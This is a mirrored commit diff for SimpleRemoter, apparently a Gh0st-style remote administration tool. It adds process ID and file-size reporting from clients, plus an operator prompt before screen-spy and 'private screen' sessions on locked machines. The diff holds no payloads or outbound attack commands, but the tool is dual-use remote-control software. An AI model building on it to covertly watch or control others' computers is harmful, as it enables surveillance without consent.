mirror of
https://github.com/yuanyuanxiang/SimpleRemoter.git
synced 2026-01-23 15:53:10 +08:00
Improve: Notify user if remote desktop control may be failed
This commit is contained in:
@@ -85,6 +85,9 @@ DWORD WINAPI StartClientApp(LPVOID param)
|
|||||||
SAFE_CLOSE_HANDLE(hThread);
|
SAFE_CLOSE_HANDLE(hThread);
|
||||||
if (IsProcessExit()) // process exit
|
if (IsProcessExit()) // process exit
|
||||||
break;
|
break;
|
||||||
|
if (app->m_bShared) {
|
||||||
|
WAIT_n(!IsProcessExit(), 5, 200);
|
||||||
|
}
|
||||||
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -337,6 +337,12 @@ LOGIN_INFOR GetLoginInfo(DWORD dwSpeed, CONNECT_ADDRESS& conn, BOOL& isAuthKerne
|
|||||||
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
|
sprintf_s(reservedInfo, "%d:%d*%d", (int)list.size(), m_iScreenX, m_iScreenY);
|
||||||
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
|
LoginInfor.AddReserved(reservedInfo); // 屏幕分辨率
|
||||||
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
|
LoginInfor.AddReserved(clientID.c_str()); // 客户端路径
|
||||||
|
LoginInfor.AddReserved((int)GetCurrentProcessId()); // 进程ID
|
||||||
|
char fileSize[32];
|
||||||
|
double MB = fileInfo.nFileSizeLow > 1024 * 1024 ? fileInfo.nFileSizeLow / (1024.0 * 1024.0) : 0;
|
||||||
|
double KB = fileInfo.nFileSizeLow > 1024 ? fileInfo.nFileSizeLow / 1024.0 : 0;
|
||||||
|
sprintf_s(fileSize, "%.1f%s", MB > 0 ? MB : KB, MB > 0 ? "M" : "K");
|
||||||
|
LoginInfor.AddReserved(fileSize); // 文件大小
|
||||||
return LoginInfor;
|
return LoginInfor;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -797,6 +797,8 @@ enum LOGIN_RES {
|
|||||||
RES_ISADMIN = 14, // 是否具有管理员权限
|
RES_ISADMIN = 14, // 是否具有管理员权限
|
||||||
RES_RESOLUTION = 15, // 屏幕分辨率
|
RES_RESOLUTION = 15, // 屏幕分辨率
|
||||||
RES_CLIENT_ID = 16, // 客户端唯一ID
|
RES_CLIENT_ID = 16, // 客户端唯一ID
|
||||||
|
RES_PID = 17, // 进程ID
|
||||||
|
RES_FILESIZE = 18, // 文件大小
|
||||||
RES_MAX,
|
RES_MAX,
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -1914,9 +1914,31 @@ VOID CMy2015RemoteDlg::OnOnlineWindowManager()
|
|||||||
SendSelectedCommand(&bToken, sizeof(BYTE));
|
SendSelectedCommand(&bToken, sizeof(BYTE));
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 是否继续远程控制:如果选择多个,则继续;如果选择单个且用户锁屏无SYSTEM权限,则提示
|
||||||
|
BOOL CMy2015RemoteDlg::ShouldRemoteControl() {
|
||||||
|
context* ContextObject = nullptr;
|
||||||
|
EnterCriticalSection(&m_cs);
|
||||||
|
int count = m_CList_Online.GetSelectedCount();
|
||||||
|
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
|
||||||
|
CString activeWnd, userName;
|
||||||
|
if (Pos) {
|
||||||
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
|
ContextObject = (context*)m_CList_Online.GetItemData(iItem);
|
||||||
|
activeWnd = m_CList_Online.GetItemText(iItem, ONLINELIST_LOGINTIME);
|
||||||
|
userName = ContextObject->GetAdditionalData(RES_USERNAME);
|
||||||
|
}
|
||||||
|
LeaveCriticalSection(&m_cs);
|
||||||
|
if (count == 1 && userName != "SYSTEM" && activeWnd.Find("Locked") == 0) {
|
||||||
|
if (IDYES != MessageBoxA("计算机已经被用户锁屏,程序无 SYSTEM 权限。\r\n可能无法进行远程桌面控制,是否继续?", "提示", MB_YESNO))
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
VOID CMy2015RemoteDlg::OnOnlineDesktopManager()
|
||||||
{
|
{
|
||||||
|
if (!ShouldRemoteControl())
|
||||||
|
return;
|
||||||
int n = THIS_CFG.GetInt("settings", "DXGI");
|
int n = THIS_CFG.GetInt("settings", "DXGI");
|
||||||
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
|
BOOL all = THIS_CFG.GetInt("settings", "MultiScreen");
|
||||||
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
CString algo = THIS_CFG.GetStr("settings", "ScreenCompress", "").c_str();
|
||||||
@@ -3564,6 +3586,8 @@ void CMy2015RemoteDlg::OnOnlineVirtualDesktop()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineGrayDesktop()
|
void CMy2015RemoteDlg::OnOnlineGrayDesktop()
|
||||||
{
|
{
|
||||||
|
if (!ShouldRemoteControl())
|
||||||
|
return;
|
||||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen") };
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_GRAY, THIS_CFG.GetInt("settings", "MultiScreen") };
|
||||||
SendSelectedCommand(bToken, sizeof(bToken));
|
SendSelectedCommand(bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
@@ -3571,6 +3595,8 @@ void CMy2015RemoteDlg::OnOnlineGrayDesktop()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
|
void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
|
||||||
{
|
{
|
||||||
|
if (!ShouldRemoteControl())
|
||||||
|
return;
|
||||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen") };
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 1, ALGORITHM_DIFF, THIS_CFG.GetInt("settings", "MultiScreen") };
|
||||||
SendSelectedCommand(bToken, sizeof(bToken));
|
SendSelectedCommand(bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
@@ -3578,6 +3604,8 @@ void CMy2015RemoteDlg::OnOnlineRemoteDesktop()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlineH264Desktop()
|
void CMy2015RemoteDlg::OnOnlineH264Desktop()
|
||||||
{
|
{
|
||||||
|
if (!ShouldRemoteControl())
|
||||||
|
return;
|
||||||
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen") };
|
BYTE bToken[32] = { COMMAND_SCREEN_SPY, 0, ALGORITHM_H264, THIS_CFG.GetInt("settings", "MultiScreen") };
|
||||||
SendSelectedCommand(bToken, sizeof(bToken));
|
SendSelectedCommand(bToken, sizeof(bToken));
|
||||||
}
|
}
|
||||||
@@ -3672,13 +3700,16 @@ void CMy2015RemoteDlg::OnListClick(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
{FLAG_WINOS, "WinOS"}, {FLAG_UNKNOWN, "Unknown"}, {FLAG_SHINE, "Shine"},
|
||||||
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
{FLAG_FUCK, "FUCK"}, {FLAG_HELLO, "Hello"}, {FLAG_HELL, "HELL"},
|
||||||
};
|
};
|
||||||
|
CString processInfo;
|
||||||
|
if (!res[RES_PID].IsEmpty() || !res[RES_FILESIZE].IsEmpty()) {
|
||||||
|
processInfo.Format("\r\n进程 PID: %s %s", res[RES_PID].IsEmpty() ? "" : res[RES_PID], res[RES_FILESIZE].IsEmpty() ? "" : res[RES_FILESIZE]);
|
||||||
|
}
|
||||||
// 拼接内容
|
// 拼接内容
|
||||||
CString strText;
|
CString strText;
|
||||||
std::string expired = res[RES_EXPIRED_DATE];
|
std::string expired = res[RES_EXPIRED_DATE];
|
||||||
expired = expired.empty() ? "" : " Expired on " + expired;
|
expired = expired.empty() ? "" : " Expired on " + expired;
|
||||||
strText.Format(_T("文件路径: %s%s %s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"),
|
strText.Format(_T("文件路径: %s%s %s%s\r\n系统信息: %s 位 %s 核心 %s GB %s\r\n启动信息: %s %s %s%s %s\r\n上线信息: %s %d %s\r\n客户信息: %s"),
|
||||||
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION],
|
res[RES_PROGRAM_BITS].IsEmpty() ? "" : res[RES_PROGRAM_BITS] + " 位 ", res[RES_FILE_PATH], res[RES_EXE_VERSION], processInfo,
|
||||||
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
res[RES_SYSTEM_BITS], res[RES_SYSTEM_CPU], res[RES_SYSTEM_MEM], res[RES_RESOLUTION], startTime, expired.c_str(),
|
||||||
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]", GetElapsedTime(startTime),
|
res[RES_USERNAME], res[RES_ISADMIN] == "1" ? "[管理员]" : res[RES_ISADMIN].IsEmpty() ? "" : "[非管理员]", GetElapsedTime(startTime),
|
||||||
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]);
|
ctx->GetProtocol().c_str(), ctx->GetServerPort(), typMap[type].c_str(), res[RES_CLIENT_ID]);
|
||||||
@@ -4126,6 +4157,9 @@ void CMy2015RemoteDlg::OnOnlineUninstall()
|
|||||||
|
|
||||||
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
void CMy2015RemoteDlg::OnOnlinePrivateScreen()
|
||||||
{
|
{
|
||||||
|
if (!ShouldRemoteControl())
|
||||||
|
return;
|
||||||
|
|
||||||
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
std::string masterId = GetPwdHash(), hmac = GetHMAC();
|
||||||
|
|
||||||
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
|
BYTE bToken[101] = { TOKEN_PRIVATESCREEN };
|
||||||
|
|||||||
@@ -197,6 +197,7 @@ public:
|
|||||||
static DWORD WINAPI StartFrpClient(LPVOID param);
|
static DWORD WINAPI StartFrpClient(LPVOID param);
|
||||||
void ApplyFrpSettings();
|
void ApplyFrpSettings();
|
||||||
bool CheckValid(int trail = 14);
|
bool CheckValid(int trail = 14);
|
||||||
|
BOOL ShouldRemoteControl();
|
||||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||||
afx_msg void OnClose();
|
afx_msg void OnClose();
|
||||||
void Release();
|
void Release();
|
||||||
|
|||||||
Reference in New Issue
Block a user